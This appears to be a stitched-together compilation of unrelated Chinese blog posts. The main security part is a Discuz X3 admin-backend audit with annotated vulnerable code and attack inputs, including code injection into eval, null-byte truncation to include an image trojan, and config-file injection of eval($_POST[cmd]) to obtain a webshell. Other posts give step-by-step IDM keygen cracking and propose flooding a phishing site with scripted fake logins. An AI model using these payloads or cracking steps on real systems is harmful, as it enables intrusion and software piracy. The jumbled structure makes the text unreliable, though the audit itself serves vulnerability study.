@include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php'; ./include/discuzcode.func.php-33-} ./include/discuzcode.func.php-34- ./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000); ./include/discuzcode.func.php-36- ./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) { ./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml; ./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid]; ./include/discuzcode.func.php-40-       if($attach['attachimg']) {

有两个文件用到了mt_srand()，第1是在./include/global.func.php的随机函数random()里：

 PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);

判断了版本，如果是PHP_VERSION > '4.2.0'使用php本身默认的播种。从上一章里的分析我们可以看得出来，使用php本身默认的播种的分程序两种情况：

1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了类似mt_srand((double)microtime() * 1000000)的播种的话，又很有可能被暴力。在dz这里不需要Cross Application，因为他本身有文件就定义了，就是上面的第2个文件：

./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);

这里我们肯定dz是存在这个漏洞的，文章给出来的exp也就是基于这个的。（具体exp利用的流程有兴趣的可以自己分析下]）

2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义，那么dz就不存在漏洞，这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义，再次不利用'Cross Application Attacks'，5.2.6>php>4.2.0 php本身默认播种的算法也不是很强悍（分析详见上），也是有可以暴力出来，只是速度要慢一点。

后话

本文是80vul的三大马甲：80vul-A，80vul-B，80vul-C集体智慧的结晶，尤其是80vul-B贡献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者，没有他们的成果也就没有本文。本文没有写“参考”，因为本文是一个总结性的文挡，有太多的连接需要提供限于篇幅就没有一一列举，有心的读者可以自行google。另外原本没有打算公布此文，因为里面包含了太多应用程序的0day，而且有太多的不尊重别人成果的人，老是利用从别人那学到的技术来炫耀，甚至牟取利益。在这里我们希望你可以在本文里学到些东西，更加希望如果通过本文你找到了某些应用程序的0day，请低调处理，或者直接提交给官方修补，谢谢大家！！

附录

[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/

[3] http://bugs.php.net/bug.php?id=40114

原文地址:https://code.google.com/p/pasc2at/wiki/SimplifiedChinese

前言

       不知怎的最近甚是思念校园生活，思念食堂的炒饭。那时会去各种安全bbs上刷刷帖子，喜欢看别人写的一些关于安全技巧或经验的总结；那时BBS上很多文章 标题都是：成功渗透XXX，成功拿下XXX。这里便以一篇入侵菲律宾某大学的文章引出文章的主题，我们先简要看一下过程。大学网站使用了名为joomla 的开源web程序，（1）青年使用一个joomla已经公开的漏洞进入web后台（2）青年使用joomla后台上传限制不严的缺陷上传了一个 webshell（3）控制主机赠送我国国旗。
        原来入侵一台主机如此容易，管理员果断给web程序打上安全补丁。管理员的工作是结束了，作为安全从业人员再一想是不是joomla后台这里可以上 传webshell是不是有问题呢，如果joomla后台不能上传webshell，是不是可以减少入侵的可能和损失。下面进入本文的主题：web后台程 序的安全性。

二、简介

        国内很多站点都是基于开源论坛、cms搭建的，比如discuz、phpwind、dedecms等。这些程序都是国内开源web程序中的佼佼者， 也比较注重安全性。平时大家关注比较多的是sql注入、xss这些可以直接窃取用户数据的漏洞。网上因为弱口令被入侵的案例数不胜数，此外用户数据泄漏事 件时而发生，单纯靠密码防护的后台被突破，被社工的可能性越来越大。获取一个管理后台密码后，再结合后台程序的任意代码执行、文件包含或命令注入等漏洞得 到一个shell，窃取用户资料不是什么难事。此时后台程序的安全性成为一个短板。
       Discuz是一款流行的论坛程序，笔者这里就以它的后台程序为例简单分析一下其安全性，下面直接看一些漏洞案例（Discuz最新版本已打补丁,请用户及时升级到最新版-Discuz! X3.1 R20140101）。

三、案例分析

Tips：下文提到的$settingnew是discuz后台存储表单数据的变量，后台用户可控。

案例一：用户输入数据过滤逻辑不当

漏洞文件：X3\source\admincp\admincp_setting.php

分析：

01	<code id="code0">// 1、alice修改$settingnew['extcredits']非数组
02	if(is_array($settingnew['extcredits'])) {

03	foreach($settingnew['extcredits'] as $key => $value) {
04	// 2、给$settingnew['initcredits'][1]传入phpinfo();,非数组绕过intval转换

05	$settingnew['initcredits'][$i] = intval($settingnew['initcredits'][$i]);
06	... 省略 ...

07	for($i = 1; $i <= 8; $i++) {
08	// 3、 phpinfo();被赋值给$initformula

09	$initformula = str_replace('extcredits'.$i, $settingnew['initcredits'][$i], $initformula);
10	}

11	// 4、phpinfo()带入eval执行
12	eval("\$_G['setting']['initcredits'] = round($initformula);");</code>

案例二：二次注入

        简单介绍一下二次注入，恶意用户alice在A处传入恶意数据并被存储到数据库，在A处不直接导致安全问题；B处引用到A处存储的数据，从而触发安全问题。

漏洞文件：X3\source\admincp\admincp_setting.php

分析：

1	// 1、alice上传一个图片木马假设为1.gif; alice设置$settingnew['seccodedata']['type']值为1.gif\0:xx（根据图片地址做适当目录跳转）；该值未作任何过滤存入数据库
2	if($settingnew['seccodedata']['type'] == 0 || $settingnew['seccodedata']['type'] == 2) {

3	$seccoderoot = 'static/image/seccode/font/en/';
4	} elseif($settingnew['seccodedata']['type'] == 1) {

5	$seccoderoot = 'static/image/seccode/font/ch/';
6	}漏洞文件：source\module\misc\misc_seccode.php

01	// 2、$_G['setting']['seccodedata']['type']值来自于数据库，即为1处传入的1.gif\0:xx
02	if(!is_numeric($_G['setting']['seccodedata']['type'])) {

03	$etype = explode(':', $_G['setting']['seccodedata']['type']);
04	if(count($etype) > 1) {

05		// 3、 \0截断得到$codefile为图片小马(也可使用././././多个路径符方法截断)
06	$codefile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/seccode/seccode_'.$etype[1].'.php';

07	... 省略 ...
08	if(file_exists($codefile)) {

09	// 4、图片木马被include得到webshell
10	@include_once $codefile;

案例三：程序升级新增逻辑导致的漏洞

漏洞文件：X3\source\admincp\admincp_adv.php

01	// 1、alice上传一个图片木马假设为1.gif; alice传入type参数值为1.gif\0:xx（根据图片地址做适当目录跳转）
02	$type = $_GET['type'];

03	... ...
04	if($type) {

05	//2、得到$etype为1.gif\0
06	$etype = explode(':', $type);

07	if(count($etype) > 1) {
08	//3、$advfile值被\0截断，为图片木马路径1.gif

09	$advfile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/adv/adv_'.$etype[1].'.php';
10		$advclass = 'adv_'.$etype[1];

11	}
12	... 省略 ...

13	//4、包含图片木马，得到webshell
14	if(file_exists($advfile)) {

15	require_once $advfile;

对比下X2.5版本的逻辑，此处漏洞完全是因为新增代码导致的。

1	$type = $_GET['type'];
2	$target = $_GET['target'];

3	$typeadd = '';
4	if($type) {

5	$advfile = libfile('adv/'.$type, 'class');
6	if(file_exists($advfile)) {

7	require_once $advfile;

案例四：漏洞修补不完善

漏洞文件：X3\api\uc.php

分析：

01	//1、config_ucenter.php内容部分截取如下：define('UC_API', 'http://localhost/bbs/uc_server');
02	$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));

03	... ...
04	//2、$UC_AP外部可控，alice传入$UC_API的值为xyz');eval($_POST[cmd];得到$configfile值为define('UC_API', 'xyz\');eval($_POST[cmd];'); xyz后面的引号被转义。

05	$configfile=preg_replace("/define\('UC_API',\s*'.*?'\);/i","define('UC_API','".addslashes($UC_API)."');", $configfile);
06		//3、将define('UC_API', 'xyz\');eval($_POST[cmd];');写入配置文件

07	if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {
08	@fwrite($fp, trim($configfile));

09	@fclose($fp);
10	}

11	//4、 alice再次传入$UC_API的值为xyz，preg_replace使用的正则表达式是define\('UC_API',\s*'.*?'\); .*?'非贪婪匹配，匹配到第一个引号结束，之前的转义符被替换xyz\替换为xyz，从而得到$configfile值为 define('UC_API', 'xyz');eval($_POST[cmd];');写入配置文件得到webshell。

这个问题早在2010年外部已经公开，官方已及时发出补丁
详情请参考：http://www.oldjun.com/blog/index.php/archives/76/

四、总结

       上面这些例子主要是笔者实践经验的一些总结，不一定全面，希望能给大家拓展一些思路；比如上述提到的二次注 入，$settingnew['seccodedata']['type']这个变量没过滤，$settingnew的其他数组也可能没过滤，也确实存在 多处类似的问题，大家可以自行去尝试一下。关于代码审计的方法主要有两个大方向：（1）危险函数向上追踪输入；（2）追踪用户输入是否进入危险函数；这里 的危险函数关于危险函数主要包括代码执行相关：eval、assert，文件包含：include、require等，命令执行：system、exec 等，写文件：fwrite、file_put_contents等；

代码审计的方法这里推荐两篇文章:
https://code.google.com/p/pasc2at/wiki/SimplifiedChinese
http://wenku.baidu.com/view/c85be95a3b3567ec102d8a12.html

五、反思

1、一切输入都是有害的；
后台程序的用户输入相比前台主要增加了后台表单的数据，此外有些后台支持上传文件(如dz1.5的自定义sql)，上传文件的内容也属于输入；这些输入都属于用户范围。一定要做严格的控制和过滤。

2、安全意识；
其实很多漏洞的产生并不是技术问题导致的，而是我们缺乏安全意识，不重视安全而酿成的惨剧。尤其是第三个和第四个，完全不应该发生；需要对开发人员做安全宣导和基本的安全培训。

3、漏洞Review；
（1）开发人员收到漏洞后要对漏洞产生的原因做总结，并Review代码中是否有类似的问题。有些时候开发人员仅仅是修补了安全人员或白帽子提供的漏洞 点，另外一处代码有类似的问题没修补继续爆出漏洞，无穷无尽。这样做还会带来更大的隐患，黑客是非常乐意并擅长总结反思的，每一个补丁其实也是给黑客拓展 了思路，如果修补不完全后果很严重。
（2）开发人员修补完成后安全人员需要进行测试确认，上述的案例四就是鲜明的例子。有条件的情况下安全人员应该整理一些常见漏洞修复指引，这样也可以提高工作效率。

Google Chrome 33版本之后基于安全的原因屏蔽了第三方插件的安装，虽然打开开发者模式之后可以成功安装，但每次启动浏览器的时候都会出现“请停用以开发者模式运行的扩展程序”的提示，只有每次点击取消之后才能正常使用扩展，这对于一些优秀的第三方插件或者自己修改的一些插件来说简直是一种灾难。

后来终于查到了在Windows下使用组策略添加扩展程序白名单的方式屏蔽了这种提示，操作如下：
  1.首先下载Chrome组策略管理模板 chrome.adm  点击下载 

2. 然后打开“本地组策略编辑器”（在运行中执行 gpedit.msc或者在控制面板-管理工具中打开），在“计算机配置”-“管理模板”中右键选择“添加/删除模板”安装刚才的那个chrome.adm文件，安装成功之后就可以在“管理模板”-“经典管理模板（ADM）”-“Google”下面看到“Google Chrome”了。这里需要说明两点，一是这个下面可能会有两个Google Chrome，一个有推荐字样，看看哪个下面有“扩展程序”，通常是不带推荐的那个；另外一点是按照chrome.adm的过程中如果策略编辑器长时间停止响应的话可以强制将其关闭之后在打开就可以了，不影响后面的操作。
3. 接下来选择“扩展程序”，然后双击右侧的“配置扩展程序安装白名单”，如下图:

4. 打开之后首先选择左边的”已启用“，然后选择下面的 显示 按钮，将安装之后的第三方插件的ID（打开Google Chrome的开发者模式之后会显示）输入到刚才的白名单对话框中确定保存即可。

另外需要说明的是，这种情况下需要一直打开”开发者模式“，另外如果直接在开发者模式下通过加载插件开发目录形式加载插件也无效的话可以将其打包之后再安装就可以了，不过打包再安装之后其ID会发生变化。

参考资料：
防止 Chrome 屏蔽 非官方 扩展程序 教程

今天正在研究emlog的数据备份,就收到朋友的QQ消息.说是不能上网.

我让他把网络详细信息发给我,如下:

可以看到是开启了的DHCP的,获取到了ip地址,子网掩码,但是默认网关没有获取到.

再看看他们经理的电脑可以获取到的:

还有他手机可以链接公司的WiFi上网:

从上可以看到手机获取到的IP是 192.168.1.3 网关:192.168.1.1 子网掩码:255.255.255.0 

我朋友的IP地址:169.254.60.46 子网掩码:255.255.0.0. 而没有网关(已开启DHCP).

他经理IP地址:192.168.0.103 子网掩码:255.255.255.0 默认网关:192.168.0.1 DHCP服务器192.168.0.1 DNS服务器:192.168.1.1 192.168.0.1 

可见公司是把内部网络划分成了三个子网;经理处于一个子网,员工处于一个子网,WiFi处于一个网络,

这样做是有利于安全的.但是我朋友不能上网.各种折腾,

开始是考虑的以为是协议受损或者是状态异常尝试一下操作:

netsh int ip reset

netsh winsock reset

ipconfig /flushdns   等等各种折腾.重装网卡.等等

神马360断网急救箱折腾完,排除完毕.基本确定是他们公司的DHCP服务器出问题了.等他们老板找人过去修理吧.

本本自带的CPU是双核(2.5-3.2GH),硬盘是500G 5400R 的,用起来不是很给力...正好挣了点零花钱,就果断决定给他升级.

首先是在京东上买回了一个4核8线程的CPU(提前查资料,买对应系列的),外加买了个128G的 三星产的SSD .花了好几百大洋...

联想的机子做工确实不错,拆开看了就一目了然....

拆下硬盘,光驱,背板和键盘就拆得差不多了.但是要特别小心,需要使劲.但是不能太大,因为有可能把排线拆断了,就玩完了///

我们可以先把能看见的排线都拆掉.我这个本子还好,都是卡扣结构式的排线做工,很方便...DIY很有乐趣的!

拆得时候一定要记得把螺丝按照一定的顺序放好,别都放一起,最后你自己都蒙圈了不知道把螺丝按哪儿了.还有就是记得多看几眼螺丝孔附近的标示,很有帮助的.拆完了的东西最好放在绝缘的地方,防止静电损坏本本的一些脆弱电路.重要的就是在安装CPU的时候,一定要记得缺口方向,方向装错了,会导致点不亮CPU等等问题,其次就是导热硅脂的涂抹.不能过多,也不能太少,一般导热管的2-3点就行,一定要均匀抹平,不然导热会成问题的.SSD硬盘安装就so easy了,用固定架固定好硬盘.放在原来光驱的位置就行.一般卖家都会给你搭配相应尺寸的固定框架.折腾完毕,是爽多了.原来开机30秒左右的win7,现在开机也就十几秒钟左右.打开系统后软件,应用啥的都是秒开.没有之前的卡顿.特别是在打开大一点的软件,比如3DMASK,原版Photoshop,Webstorm这些原本打开慢,进去了还需要等几十秒才能用的软件,现在都是秒开无压力的....还是人民币靠谱呀!这升级完又可以省下一大笔费用了.只是希望SSD寿命久一点....因为都说SSD命短!                                                         

Made By Mrxn  15/07/27

一秒VPN..免费VPN.多地区可选,中国,韩国,香港,美国,日本,等等地区.而且是免费的.需要使用的自己下载吧.

注:我只是分享.使用的后果自己负责,与我无关.

下载地址:http://pan.baidu.com/s/1nt2Cnd3

安卓,苹果,Mac,Windows 三平台支持的，免费加速器下载 2020最新可用 下载链接：点击下载

时空隧道是一款速度最快的海外网站加速插件，可轻松访问google、gmail、facebook、twitter、youtube等网站，永久免费，每天累积2小时，另外推出高级VIP服务。

但是需要邀请码注册的...着这里我给大家分享一下时空隧道的邀请码:M84w51

或者是你直接打开下面两个网址当中的任意一个:

国外网址：http://www.suidao.in/invi/M84w51
国内网址：http://suidao.wuseyi.com/invi/M84w51

就注册流程大致说一下:

另外,还有红杏的破解插件,3万多天.需要的联系我.

 IDM 6.23 Build 17更新:

这是官方原话:在7月24日更新,增加了对微软Edge 浏览器的支持.修复了一些漏洞.

破解方法:

在原来已经破解好的版本上 直接选择 更新即可升级成最新版.

如果未破解过的,请按以下步骤破解:

1.下载破解注册机:点击查看破解注册机

2.安装最新版的idm(已安装的,略过,未安装的,去官网下载)

3.运行idm破解注册机:

然后点击 Patch

之后会出现一个输入框 输入firstname   随便输入 Eg:Mrxn
然后会弹出第二个输入框  last name  同样随便输入 Eg:net

切记:破解期间 请关闭IDM
链接如有失效,请及时通知我.

首先是其地址:http://xljjrvf.tk/ (对这些不懂得不要进去,小心你的cookies被盗)非官方QQ空间的地址:user.qzone.qq.com/xxxxxx

再看界面:

很像么/.?估计对于一般人来说还行,但是对于我们这些会码代码的来说,这完全不像呀...那个输入框明显的区别....主要是右上角的叉没用 -_-|

于是 Ctrl+U 如下所示:

很简单的两行,居然是个 内框<iframe >架嵌入. 其地址是:http://xljjrvf.tk/Login/1.html?uuuu=5&url=http://user.qzone.qq.com/403382031/4

后面的是一个地址不错,但是我查了一下,多半是他盗的.或者是一个死号.....

我们去掉后面的那一部分QQ空间代码后 访问看看:

这就是那个 iframe 框架标签了.URL后面随便输入返回都是这个页面,那就去掉1.html?后面的参数看看,一样,干脆一起去掉,报错了:

是一个子目录,装的think php模板.网站物理路径也爆出来.呵呵 ....还想进一步深入么?  太困了...睡觉去..这手法,就小学生...现在的孩子都这么任性?

话说,他服务器里面是不是有很多中招的账号?想进去看的  抓紧啦!

在他的登录界面,输入账号:caonima 密码:caonima 结果第一次提示错误,第二次就正常了...说明压根就是直接就存了....那我们可以恶作剧,,

写个脚本,对其进行上万次的写入.让他去拆分真假账号吧,,,,